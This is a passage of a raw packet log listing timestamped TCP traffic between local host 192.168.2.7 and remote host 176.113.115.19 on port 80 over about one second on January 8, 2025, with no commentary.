Jan 8, 2025 09:42:34.905971050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.905982971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.905989885 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.905997038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906003952 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906021118 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.906040907 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.906080961 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.906104088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906147957 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.906188011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906253099 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.906322956 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906330109 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906336069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906342030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906353951 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906378031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906383038 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.906384945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906390905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906398058 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906403065 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906409979 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.906409979 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906430006 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.906439066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.906471014 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.941271067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941293955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941304922 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941318035 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941330910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941339016 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941380978 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.941392899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941401958 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941415071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941416025 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.941421986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941448927 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.941468000 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.941509008 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941515923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941528082 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941534996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.941561937 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.941576004 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950383902 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950444937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950453043 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950453997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950469971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950475931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950485945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950491905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950501919 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950516939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950522900 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950525999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950536013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950547934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950572968 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950594902 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950623989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950633049 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950639963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950644970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950651884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950671911 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950675011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950680971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950685024 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950686932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950726986 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950742960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950750113 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950762033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950767994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950781107 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.950794935 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950812101 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.950829983 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.984196901 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.987617016 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.988181114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.988188028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.988203049 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.988212109 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.988234043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.988240957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.988254070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.988260031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.988276958 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.988306999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.989108086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.989152908 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.989159107 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.989161968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.989202976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.989202976 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.989209890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.989232063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.989239931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.989244938 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.989247084 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.989252090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.989284992 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991077900 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991090059 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991108894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991121054 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991132021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991139889 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991146088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991151094 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991153002 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991164923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991172075 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991175890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991189003 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991194963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991203070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991206884 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991209030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991218090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991223097 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991236925 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991255045 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991256952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991261005 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991266012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991271973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991281986 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991303921 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991348982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991367102 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991375923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991381884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991398096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991399050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991403103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991430998 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991441011 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991445065 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991446018 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991451979 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991473913 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991494894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991522074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991528988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991539955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991545916 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991552114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991559029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991570950 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991576910 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991599083 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991619110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991656065 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991672039 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991684914 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991691113 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991698027 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991714001 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991738081 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991791964 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991799116 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991806984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991811991 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991820097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991832018 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991836071 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991841078 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.991863012 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.991893053 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992516041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992522955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992543936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992551088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992556095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992563009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992563963 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992578030 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992609978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992611885 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992619038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992654085 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992717028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992722034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992742062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992753029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992763996 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992788076 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992815018 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992830038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992841959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992849112 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992854118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992855072 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992885113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992896080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992901087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992907047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992913961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992922068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.992942095 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.992955923 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.993045092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.993055105 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.993062019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.993067026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.993087053 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.993107080 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.001595020 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.001717091 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.028022051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028124094 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.028136969 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028147936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028156042 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028163910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028170109 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028183937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028192043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028198004 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.028222084 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.028264046 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.028302908 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028316021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028323889 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028335094 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028342009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028348923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028350115 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.028356075 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028363943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.028369904 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.028398037 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.028414965 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.037116051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037178993 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037188053 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037189960 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.037205935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037214041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037220001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037261963 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.037269115 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037280083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037286043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037321091 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.037341118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037350893 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037369013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037400961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037412882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037415981 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.037420034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037425995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037448883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.037451982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037472963 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.037504911 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.037559032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037568092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037575006 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037580967 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037590027 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037595987 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.037615061 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.037653923 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.074896097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.074969053 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.074984074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.074996948 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075001955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075016975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075022936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075031042 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075031042 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.075031042 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.075083017 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.075104952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.075793982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075812101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075823069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075843096 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.075845003 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075853109 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075860977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075862885 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.075870037 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.075906038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075918913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075927973 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.075930119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.075963020 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.077714920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077764988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077781916 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.077790976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077802896 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077815056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077815056 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.077817917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077840090 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.077884912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077892065 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.077898026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077909946 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077915907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077935934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077945948 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077953100 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.077958107 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077964067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077977896 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.077996016 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078002930 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078011036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078020096 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078022003 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078031063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078039885 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078067064 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078100920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078109026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078110933 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078140974 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078171015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078176975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078183889 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078190088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078216076 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078238964 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.078249931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078263044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078267097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.078277111 CET	80	49703	176.113.115.19	192.168.2.7
